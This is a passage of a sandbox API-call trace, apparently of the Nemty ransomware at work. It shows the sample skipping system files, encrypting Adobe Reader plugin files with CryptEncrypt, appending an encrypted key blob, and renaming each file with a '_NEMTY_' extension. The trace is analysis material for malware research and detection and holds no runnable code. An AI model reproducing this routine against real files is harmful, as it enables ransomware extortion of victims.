Flags=0x0, Size=0x170) returned 0x6348ed8 [0191.645] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP\\WindowsMedia.JPN" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp\\windowsmedia.jpn"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2f0 [0191.645] GetFileSizeEx (in: hFile=0x2f0, lpFileSize=0x653e4f0 | out: lpFileSize=0x653e4f0*=2560) returned 1 [0191.645] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa00) returned 0x634ad48 [0191.645] SetFilePointer (in: hFile=0x2f0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0191.645] ReadFile (in: hFile=0x2f0, lpBuffer=0x634ad48, nNumberOfBytesToRead=0xa00, lpNumberOfBytesRead=0x653e4e4, lpOverlapped=0x0 | out: lpBuffer=0x634ad48*, lpNumberOfBytesRead=0x653e4e4*=0xa00, lpOverlapped=0x0) returned 1 [0191.647] SetFilePointer (in: hFile=0x2f0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0191.647] WriteFile (in: hFile=0x2f0, lpBuffer=0x634ad48*, nNumberOfBytesToWrite=0xa00, lpNumberOfBytesWritten=0x653e4dc, lpOverlapped=0x0 | out: lpBuffer=0x634ad48*, lpNumberOfBytesWritten=0x653e4dc*=0xa00, lpOverlapped=0x0) returned 1 [0191.647] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0191.647] SetFilePointer (in: hFile=0x2f0, lDistanceToMove=2560, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xa00 [0191.647] WriteFile (in: hFile=0x2f0, lpBuffer=0x6349050*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e4dc, lpOverlapped=0x0 | out: lpBuffer=0x6349050*, lpNumberOfBytesWritten=0x653e4dc*=0x167, lpOverlapped=0x0) returned 1 [0191.647] CloseHandle (hObject=0x2f0) returned 1 [0191.647] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x6340280 [0191.647] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0191.647] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0191.647] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed30, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0191.647] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0191.647] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0191.647] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x6340348 [0191.647] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x11e) returned 0x6340410 [0191.647] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340348 | out: hHeap=0x4f90000) returned 1 [0191.647] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0191.647] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP\\WindowsMedia.JPN" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp\\windowsmedia.jpn"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP\\WindowsMedia.JPN._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp\\windowsmedia.jpn._nemty_kgobjgd_")) returned 1 [0191.648] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340410 | out: hHeap=0x4f90000) returned 1 [0191.648] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340280 | out: hHeap=0x4f90000) returned 1 [0191.648] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0191.648] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6349050 | out: hHeap=0x4f90000) returned 1 [0191.648] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0191.648] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0191.648] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0191.648] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0191.648] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0191.648] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0191.648] FindNextFileW (in: hFindFile=0x3423af0, lpFindFileData=0x653e648 | out: lpFindFileData=0x653e648*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98a32700, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d6fd2c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x98a32700, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x15, dwReserved1=0x4f90000, cFileName="WindowsMedia.KOR", cAlternateFileName="WINDOW~1.KOR")) returned 1 [0191.648] lstrcmpiW (lpString1="WindowsMedia.KOR", lpString2=".") returned 1 [0191.648] lstrcmpiW (lpString1="WindowsMedia.KOR", lpString2="..") returned 1 [0191.648] lstrcmpiW (lpString1="WindowsMedia.KOR", lpString2="...") returned 1 [0191.648] lstrcmpiW (lpString1="WindowsMedia.KOR", lpString2="windows") returned 1 [0191.649] lstrcmpiW (lpString1="WindowsMedia.KOR", lpString2="$RECYCLE.BIN") returned 1 [0191.649] lstrcmpiW (lpString1="WindowsMedia.KOR", lpString2="rsa") returned 1 [0191.649] lstrcmpiW (lpString1="WindowsMedia.KOR", lpString2="NTDETECT.COM") returned 1 [0191.649] lstrcmpiW (lpString1="WindowsMedia.KOR", lpString2="ntldr") returned 1 [0191.649] lstrcmpiW (lpString1="WindowsMedia.KOR", lpString2="MSDOS.SYS") returned 1 [0191.649] lstrcmpiW (lpString1="WindowsMedia.KOR", lpString2="IO.SYS") returned 1 [0191.649] lstrcmpiW (lpString1="WindowsMedia.KOR", lpString2="boot.ini") returned 1 [0191.649] lstrcmpiW (lpString1="WindowsMedia.KOR", lpString2="boot.ini") returned 1 [0191.649] lstrcmpiW (lpString1="WindowsMedia.KOR", lpString2="AUTOEXEC.BAT") returned 1 [0191.649] lstrcmpiW (lpString1="WindowsMedia.KOR", lpString2="ntuser.dat") returned 1 [0191.649] lstrcmpiW (lpString1="WindowsMedia.KOR", lpString2="desktop.ini") returned 1 [0191.649] lstrcmpiW (lpString1="WindowsMedia.KOR", lpString2="CONFIG.SYS") returned 1 [0191.649] lstrcmpiW (lpString1="WindowsMedia.KOR", lpString2="RECYCLER") returned 1 [0191.649] lstrcmpiW (lpString1="WindowsMedia.KOR", lpString2="BOOTSECT.BAK") returned 1 [0191.649] lstrcmpiW (lpString1="WindowsMedia.KOR", lpString2="bootmgr") returned 1 [0191.649] lstrcmpiW (lpString1="WindowsMedia.KOR", lpString2="programdata") returned 1 [0191.649] lstrcmpiW (lpString1="WindowsMedia.KOR", lpString2="appdata") returned 1 [0191.649] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0191.649] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="WindowsMedia.KOR", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0191.649] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0191.649] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="WindowsMedia.KOR", cchWideChar=16, lpMultiByteStr=0x4f9ecb8, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="WindowsMedia.KOR", lpUsedDefaultChar=0x0) returned 16 [0191.649] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0191.649] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345640 [0191.649] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="WindowsMedia.KOR", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0191.649] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0191.649] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="WindowsMedia.KOR", cchWideChar=16, lpMultiByteStr=0x4f9ecb8, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="WindowsMedia.KOR", lpUsedDefaultChar=0x0) returned 16 [0191.649] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0191.649] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345640 | out: hHeap=0x4f90000) returned 1 [0191.649] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0191.649] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0191.649] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="WindowsMedia.KOR", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0191.649] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0191.650] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="WindowsMedia.KOR", cchWideChar=16, lpMultiByteStr=0x4f9ecb8, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="WindowsMedia.KOR", lpUsedDefaultChar=0x0) returned 16 [0191.650] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0191.650] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0191.650] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="WindowsMedia.KOR", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0191.650] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0191.650] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="WindowsMedia.KOR", cchWideChar=16, lpMultiByteStr=0x4f9ed08, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="WindowsMedia.KOR", lpUsedDefaultChar=0x0) returned 16 [0191.650] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0191.650] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x63400f0 [0191.650] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63401b8 | out: hHeap=0x4f90000) returned 1 [0191.650] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x63401b8 [0191.650] Sleep (dwMilliseconds=0x5) [0191.659] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e464 | out: lpSystemTimeAsFileTime=0x653e464*(dwLowDateTime=0x25e281f0, dwHighDateTime=0x1d561e8)) [0191.660] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e464 | out: lpSystemTimeAsFileTime=0x653e464*(dwLowDateTime=0x25e281f0, dwHighDateTime=0x1d561e8)) [0191.660] GetLastError () returned 0x0 [0191.660] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0191.660] GetLastError () returned 0x0 [0191.660] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0191.660] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0191.660] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0191.660] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e2a0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e2a0*=0x100) returned 1 [0191.660] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e2a4*, pdwDataLen=0x653e290*=0x10, dwBufLen=0x100 | out: pbData=0x653e2a4*, pdwDataLen=0x653e290*=0x100) returned 1 [0191.660] CryptBinaryToStringA (in: pbBinary=0x653e2a4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e29c | out: pszString=0x0, pcchString=0x653e29c) returned 1 [0191.660] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6348d60 [0191.660] CryptBinaryToStringA (in: pbBinary=0x653e2a4, cbBinary=0x100, dwFlags=0x1, pszString=0x6348d60, pcchString=0x653e29c | out: pszString="UqTR69pThp0VA3Ay7xyieUUn62b1gcGdWN95ejWURD5puRiX8lNlLap25wOv640W\r\nvRWl43xa+F6A6cxd2A53bgzF17wfdZ7oruLIw6q+Ii5vkfkAPrQ1LZCbQY7DP6aW\r\n98/hiy47qZ9XmfNVMaDxDGu9TiCWLDb4EEmXGeo9gyHFAqPQLfQUD8ZFl/43waR7\r\nCD4/5Z7TxV/oQii49SNCu2bBbKfghjMT9Ni2nAK1Ijio/KpafjPPb47U6AGY14Us\r\n2wGLNPgLKpYZpPkScPRNseGhdd0pnvwSF1Mlrvu4i9qy5tWKsRKFA5LwPeQHTjSq\r\nZmgsNd7QjVIl3dMf5v4MYQ==\r\n", pcchString=0x653e29c) returned 1 [0191.660] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0191.660] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0191.660] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0191.660] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0191.660] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6348d60 [0191.660] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6349050 [0191.660] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP\\WindowsMedia.KOR" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp\\windowsmedia.kor"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2f0 [0191.661] GetFileSizeEx (in: hFile=0x2f0, lpFileSize=0x653e4f0 | out: lpFileSize=0x653e4f0*=2560) returned 1 [0191.661] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa00) returned 0x634ad48 [0191.661] SetFilePointer (in: hFile=0x2f0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0191.661] ReadFile (in: hFile=0x2f0, lpBuffer=0x634ad48, nNumberOfBytesToRead=0xa00, lpNumberOfBytesRead=0x653e4e4, lpOverlapped=0x0 | out: lpBuffer=0x634ad48*, lpNumberOfBytesRead=0x653e4e4*=0xa00, lpOverlapped=0x0) returned 1 [0191.662] SetFilePointer (in: hFile=0x2f0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0191.662] WriteFile (in: hFile=0x2f0, lpBuffer=0x634ad48*, nNumberOfBytesToWrite=0xa00, lpNumberOfBytesWritten=0x653e4dc, lpOverlapped=0x0 | out: lpBuffer=0x634ad48*, lpNumberOfBytesWritten=0x653e4dc*=0xa00, lpOverlapped=0x0) returned 1 [0191.663] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0191.663] SetFilePointer (in: hFile=0x2f0, lDistanceToMove=2560, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xa00 [0191.663] WriteFile (in: hFile=0x2f0, lpBuffer=0x6348d60*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e4dc, lpOverlapped=0x0 | out: lpBuffer=0x6348d60*, lpNumberOfBytesWritten=0x653e4dc*=0x167, lpOverlapped=0x0) returned 1 [0191.663] CloseHandle (hObject=0x2f0) returned 1 [0191.663] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x6340280 [0191.663] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0191.663] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0191.663] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ece0, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0191.663] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0191.663] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0191.663] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x6340348 [0191.663] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x11e) returned 0x6340410 [0191.663] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340348 | out: hHeap=0x4f90000) returned 1 [0191.663] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0191.663] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP\\WindowsMedia.KOR" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp\\windowsmedia.kor"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP\\WindowsMedia.KOR._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp\\windowsmedia.kor._nemty_kgobjgd_")) returned 1 [0191.664] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340410 | out: hHeap=0x4f90000) returned 1 [0191.664] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340280 | out: hHeap=0x4f90000) returned 1 [0191.664] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0191.664] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0191.664] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6349050 | out: hHeap=0x4f90000) returned 1 [0191.664] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0191.664] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0191.664] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63401b8 | out: hHeap=0x4f90000) returned 1 [0191.664] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0191.664] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0191.664] FindNextFileW (in: hFindFile=0x3423af0, lpFindFileData=0x653e648 | out: lpFindFileData=0x653e648*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d723420, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x35400, dwReserved0=0x15, dwReserved1=0x4f90000, cFileName="WindowsMedia.mpp", cAlternateFileName="WINDOW~1.MPP")) returned 1 [0191.664] lstrcmpiW (lpString1="WindowsMedia.mpp", lpString2=".") returned 1 [0191.664] lstrcmpiW (lpString1="WindowsMedia.mpp", lpString2="..") returned 1 [0191.664] lstrcmpiW (lpString1="WindowsMedia.mpp", lpString2="...") returned 1 [0191.664] lstrcmpiW (lpString1="WindowsMedia.mpp", lpString2="windows") returned 1 [0191.664] lstrcmpiW (lpString1="WindowsMedia.mpp", lpString2="$RECYCLE.BIN") returned 1 [0191.664] lstrcmpiW (lpString1="WindowsMedia.mpp", lpString2="rsa") returned 1 [0191.664] lstrcmpiW (lpString1="WindowsMedia.mpp", lpString2="NTDETECT.COM") returned 1 [0191.664] lstrcmpiW (lpString1="WindowsMedia.mpp", lpString2="ntldr") returned 1 [0191.664] lstrcmpiW (lpString1="WindowsMedia.mpp", lpString2="MSDOS.SYS") returned 1 [0191.664] lstrcmpiW (lpString1="WindowsMedia.mpp", lpString2="IO.SYS") returned 1 [0191.664] lstrcmpiW (lpString1="WindowsMedia.mpp", lpString2="boot.ini") returned 1 [0191.664] lstrcmpiW (lpString1="WindowsMedia.mpp", lpString2="boot.ini") returned 1 [0191.664] lstrcmpiW (lpString1="WindowsMedia.mpp", lpString2="AUTOEXEC.BAT") returned 1 [0191.664] lstrcmpiW (lpString1="WindowsMedia.mpp", lpString2="ntuser.dat") returned 1 [0191.664] lstrcmpiW (lpString1="WindowsMedia.mpp", lpString2="desktop.ini") returned 1 [0191.664] lstrcmpiW (lpString1="WindowsMedia.mpp", lpString2="CONFIG.SYS") returned 1 [0191.664] lstrcmpiW (lpString1="WindowsMedia.mpp", lpString2="RECYCLER") returned 1 [0191.665] lstrcmpiW (lpString1="WindowsMedia.mpp", lpString2="BOOTSECT.BAK") returned 1 [0191.665] lstrcmpiW (lpString1="WindowsMedia.mpp", lpString2="bootmgr") returned 1 [0191.665] lstrcmpiW (lpString1="WindowsMedia.mpp", lpString2="programdata") returned 1 [0191.665] lstrcmpiW (lpString1="WindowsMedia.mpp", lpString2="appdata") returned 1 [0191.665] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0191.665] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="WindowsMedia.mpp", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0191.665] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0191.665] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="WindowsMedia.mpp", cchWideChar=16, lpMultiByteStr=0x4f9ecb8, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="WindowsMedia.mpp", lpUsedDefaultChar=0x0) returned 16 [0191.665] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0191.665] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345640 [0191.665] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="WindowsMedia.mpp", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0191.665] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0191.665] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="WindowsMedia.mpp", cchWideChar=16, lpMultiByteStr=0x4f9ecb8, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="WindowsMedia.mpp", lpUsedDefaultChar=0x0) returned 16 [0191.665] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0191.665] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345640 | out: hHeap=0x4f90000) returned 1 [0191.665] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0191.665] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0191.665] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="WindowsMedia.mpp", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0191.665] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0191.665] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="WindowsMedia.mpp", cchWideChar=16, lpMultiByteStr=0x4f9ecb8, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="WindowsMedia.mpp", lpUsedDefaultChar=0x0) returned 16 [0191.665] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0191.665] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0191.665] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="WindowsMedia.mpp", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0191.665] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0191.665] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="WindowsMedia.mpp", cchWideChar=16, lpMultiByteStr=0x4f9ed08, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="WindowsMedia.mpp", lpUsedDefaultChar=0x0) returned 16 [0191.665] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0191.665] RtlAllocateHeap (HeapHandle=0x4f90000, 